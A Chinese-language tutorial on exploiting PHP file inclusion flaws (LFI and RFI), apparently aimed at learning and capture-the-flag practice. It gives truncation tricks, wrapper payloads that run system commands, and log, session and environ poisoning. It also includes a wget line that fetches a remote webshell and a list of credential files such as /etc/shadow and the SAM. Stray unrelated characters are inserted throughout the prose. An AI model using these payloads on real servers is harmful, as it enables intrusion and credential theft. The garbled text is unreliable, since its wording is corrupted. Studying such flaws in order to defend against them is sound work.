0x00 簡介
什么是文件包含:
簡單一句話,為了更好地使用代碼的重用性,引入了文件包含函數(shù),可以通過文件包含函數(shù)將文件包含進(jìn)來短曾,直接使用包含文件的代碼。
漏洞成因:
在包含文件時候赐劣,為了靈活包含文件嫉拐,將被包含的文件設(shè)置為變量,且外部可控魁兼。如果這個可控變量在服務(wù)器端未作合理地校驗或者能別繞過婉徘,就會導(dǎo)致文件包含漏洞。通常文件包含漏洞出現(xiàn)在php語言中咐汞。
0x01 相關(guān)函數(shù)
php有四個引發(fā)文件包含漏洞的函數(shù):
include()
當(dāng)使用該函數(shù)包含文件時盖呼,只有代碼執(zhí)行到include()函數(shù)時才將文件包含進(jìn)來,發(fā)生錯誤時化撕,給出警告塌计,繼續(xù)向下執(zhí)行。
include_once()
功能與include()相同侯谁,區(qū)別在于當(dāng)重復(fù)調(diào)用統(tǒng)一文件時,程序只調(diào)用一次章钾。
require()
require()與include的區(qū)別在于require()執(zhí)行如果發(fā)生錯誤墙贱,函數(shù)會輸出錯誤信息,并終止腳本的運行贱傀。
require_once()
功能與require()相同惨撇,區(qū)別在于當(dāng)重復(fù)調(diào)用統(tǒng)一文件時,程序只調(diào)用一次府寒。
簡單來講它們的區(qū)別就是:
require報錯直接退出魁衙,include拋出警告繼續(xù)執(zhí)行。而xx_once株搔,主要是用來避免函數(shù)重定義或變量重賦值等問題剖淀。
當(dāng)利用這四個函數(shù)包含文件時,不管什么類型的文件纤房,都會被當(dāng)作php解析纵隔。
想要成功利用文件包含漏洞,需要滿足兩個條件:
include等函數(shù)通過動態(tài)變量的方式引入需要包含的文件。
用戶能夠控制該動態(tài)變量捌刮。
除了這四個函數(shù)外碰煌,php中能對文件進(jìn)行操作的函數(shù)都有可能出現(xiàn)漏洞。雖然大多數(shù)情況下不能執(zhí)行php代碼绅作,但能夠讀取敏感信息帶來的后果也很嚴(yán)重芦圾。
如
fopen()
fread()
...
0x02 分類
LFI(本地文件包含)
例:
<?php
$file = $_GET['file'];
if(file_exists('E:/phpstudy_pro/include_test/'.$file.'.php')){
include 'E:/phpstudy_pro/include_test/'.$file.'.php';
}
?>
這里是一個文件包含的實例代碼,但是要解決一個后綴限制問題俄认,我們可以采用00截斷的方式繞過php后綴个少。
這里再重溫一次00截斷,PHP內(nèi)核是由C實現(xiàn)的梭依,因此使用了C語言中中的一些字符串處理函數(shù)稍算。在連接字符串時,0字節(jié)(\x00)將作為字符串結(jié)束符役拴。
開始的時候并未截斷成功糊探,排查后,發(fā)現(xiàn)是php的 magic_quotes_gpc
未設(shè)置為OFF河闰。
magic_quotes_gpc函數(shù)在php中的作用是判斷解析用戶提示的數(shù)據(jù)科平,如包括:post、get姜性、cookie過來的數(shù)據(jù)增加轉(zhuǎn)義字符 “\”瞪慧,以確保這些數(shù)據(jù)不會引起程序,特別是數(shù)據(jù)庫語句因為特殊字符引起的污染而出現(xiàn)致命的錯誤部念。
在 magic_quotes_gpc
打開弃酌,%00會被轉(zhuǎn)義為\0兩個單體字符,不再具有截斷功能儡炼。
還需要注意的一點是php版本需要為5.3.4以下
有些程序過濾了\0字節(jié)
但是這樣并沒有完全解決問題妓湘,利用操作系統(tǒng)對目錄最大長度的限制,可以不需要0字節(jié)而達(dá)到截斷的目的乌询。
Windows下256字節(jié)
Linux下4096字節(jié)
達(dá)到最大值榜贴,最大值長度之后的字符串將被丟棄。
可以采用以下方式構(gòu)造長的目錄:
./././././././././././abc
///////////////abc
../1/abc/../1/abc/../1/abc
上面的例子可以看到妹田,我們使用了“../../”這樣的方式來返回到上層目錄中唬党,這被稱作目錄遍歷,還可以通過不同的編碼方式來繞過一些服務(wù)器端邏輯鬼佣。
目錄遍歷漏洞是一種跨越目錄讀取文件的方法驶拱,但當(dāng)PHP配置了 open_basedir
時,將很好地保護(hù)服務(wù)器晶衷,使得這種攻擊無效屯烦。
open_basedir
的作用是限制在某個特定目錄下PHP能打開的文件
RFI(遠(yuǎn)程文件包含)
條件較為苛刻:
需要在php.ini中進(jìn)行配置
allow_url_fopen=On
allow_url_include=On
在php.ini中坷随,allow_url_fopen
默認(rèn)為On,而allow_url_include從php5.2之后就默認(rèn)為Off了驻龟。
例:
<?php
if ($route == "share") {
require_once $basePath.'/action/m_share.php';
}elseif ($route == "sharelinnk")
?>
payload:?file=[http|https|ftp]://websec.wordpress.com/shell.txt
0x03 包含姿勢
測試代碼
<?php
$file=$_GET['file'];
include $file;
?>
1) PHP偽協(xié)議
php://input
利用條件:allow_url_include=On
它是個可以訪問請求的原始數(shù)據(jù)的只讀流温眉。(這里的原始數(shù)據(jù)指的是POST數(shù)據(jù))
利用偽協(xié)議的這種性質(zhì),我們可以將LFI衍生為一個代碼執(zhí)行的漏洞翁狐。
還有一點类溢,enctype="multipart/form-data"的時候 php://input
是無效的。
php://filter
利用條件:無特殊
這是我們常常使用的一個偽協(xié)議露懒,在任意文件讀取闯冷,甚至是getshell的時候都有利用的機(jī)會。
php://filter
是一種元封裝器懈词,設(shè)計用于數(shù)據(jù)流打開時的篩選過濾應(yīng)用蛇耀。這對于一體式的文件函數(shù)非常有用類似 readfile()
、 file()
坎弯、 file_get_contents()
纺涤,在數(shù)據(jù)流內(nèi)容讀取之前沒有機(jī)會應(yīng)用其他過濾器。
其參數(shù):
名稱 | 描述 |
---|---|
resource=<要過濾的數(shù)據(jù)流> | 必須抠忘。指定了你要篩選過濾的數(shù)據(jù)流撩炊。 |
read=<讀鏈的篩選列表> | 可選∑槁觯可以設(shè)定一個或多個過濾器名稱拧咳,以管道符(|)分隔。 |
write=<寫鏈的篩選列表> | 可選囚灼÷嫦ィ可以設(shè)定一個或多個過濾器名稱,以管道符(|)分隔灶体。 |
<; 兩個鏈的篩選列表> | 任何沒有以 read= 或 write= 作前綴的篩選器列表會視情況應(yīng)用于讀或?qū)戞?/td> |
例如:
index.php?file=php://filter/convert.base64-encode/resource=index.php
這段payload和上面效果一致的谭网,少了read等關(guān)鍵字。在繞過一些waf時也許有用赃春。
base64就可以看到內(nèi)容,這里如果不進(jìn)行base64_encode劫乱,則被include進(jìn)來的代碼就會被執(zhí)行织中,導(dǎo)致看不到源代碼。
或者向磁盤寫入文件
<?php
/*這會通過 rot13 過濾器篩選出字符 "Hello World" 然后寫入當(dāng)前目錄下的 example.txt*/
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
phar://
利用條件:php版本大于等于5.3.0
phar是一個文件歸檔的包衷戈,類似于java中的Jar文件狭吼,方便了php模塊的遷移。
加入有個文件phpinfo.txt殖妇,其內(nèi)容為 <?php phpinfo(); ?>
,打包成壓縮包刁笙,如下:
首先用phar類打包一個phar標(biāo)準(zhǔn)包
<?php
$p = new PharData(dirname(__FILE__).'/test.zip',0,'test',Phar::ZIP);
$x=file_get_contents('./info.php');
$p->addFromString('a.jpg',$x);
?>
會生成一個zip的壓縮文件,然后構(gòu)造
?file=phar://test.zip/a.jpg
采用點:
當(dāng)如我們前文例題,對包含的后綴名做了限制(include $file.'.php')疲吸,而又不能做00截斷的時候座每,可以采用這種方法嘗試,上傳一個phar文件摘悴,再利用php偽協(xié)議包含峭梳。
zip://
利用條件:php版本大于等于5.3.0
這個和phar類似。
但是需要將 #
編碼為 %23
蹂喻,之后寫上壓縮包內(nèi)容葱椭。
data:URL schema
利用條件:
1、php版本大于等于5.2
2口四、allow_url_fopen=On
3孵运、allow_url_include=On
payload:
127.0.0.1/test/LFI.php?file=data:text/plain,<?php phpinfo();?>
127.0.0.1/test/LFI.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
也可以用來讀php文件源碼或者命令執(zhí)行
payload:
data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>
data:text/plain,<?php system(‘whoami’)?>
php偽協(xié)議常出現(xiàn)在ctf中,總結(jié)如下
2) 包含session
利用條件:session文件路徑已知蔓彩,且其中內(nèi)容部分可控治笨。條件較為苛刻
沒有通用的方法
x|s:19:"<?php phpinfo(); ?>"
常見的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
3) 包含日志
訪問日志
利用條件:需要知道服務(wù)器日志的存儲路徑,且日志文件可讀
很多時候粪小,web服務(wù)器會將請求寫到日志文件中大磺,比如apache。在用戶發(fā)起請求時探膊,會將請求寫入access.log杠愧,當(dāng)發(fā)生錯誤時將錯誤寫入error.log。默認(rèn)情況下保存在/var/log/apache2/逞壁。
直接在burpsuite中g(shù)et地址寫payload就行了流济,寫瀏覽器里會有url編碼的問題
常見的路徑
/etc/httpd/logs/access_log
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
SSH log
利用條件:需要知道ssh-log的位置,且可讀腌闯。默認(rèn)為/var/log/auth.log
ssh連接
ssh '<?php phpinfo(); ?>'@remotehost
4) 包含environ
利用條件:
1绳瘟、Php以cgi方式運行,這樣environ才會保持UA頭
2姿骏、environ文件存儲位置已知糖声,且environ文件可讀
檢查proc/self/environ是否可訪問
www.xxx.com/view.php?page=../../../../proc/self/environ
可訪問則可以利用
在burpsuite改User-Agent
<?system('wget http://www.sss.com/oneword.txt -O shell.php');?>
5) 包含fd
類似environ
6) 包含臨時文件
php中上傳文件(以form-data),會創(chuàng)建臨時文件分瘦。在Linux下使用/tmp目錄蘸泻,而在windows下時用c:\windows\temp目錄。在臨時文件被刪除前嘲玫,利用競爭即可包含該臨時文件悦施。
由于包含需要知道包含的文件名。一種方法是進(jìn)行暴力猜解去团,linux下使用的隨機(jī)函數(shù)有缺陷抡诞,而window下只有65535中不同的文件名穷蛹,所以這個方法是可行的。
7) 其余
一個web服務(wù)往往會用到多個其他服務(wù)昼汗,比如ftp服務(wù)肴熏,數(shù)據(jù)庫等等。這些應(yīng)用也會產(chǎn)生響應(yīng)的文件乔遮,但這就需要具體問題具體分析了扮超。
0x04 擴(kuò)展
常見的敏感信息路徑
Windows
c:\boot.ini // 查看系統(tǒng)版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存儲Windows系統(tǒng)初次安裝的密碼
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
c:\windows\php.ini // php 配置信息
Linux/Unix
/etc/passwd // 賬戶信息
/etc/shadow // 賬戶密碼文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默認(rèn)配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網(wǎng)站配置
/usr/local/app/php5/lib/php.ini // PHP相關(guān)配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
0x05 防御方案
1、在很多場景都需要去包含web目錄之外的文件蹋肮,需要配置open_base
2出刷、做好文件和目錄的權(quán)限管理
3、對危險字符進(jìn)行過濾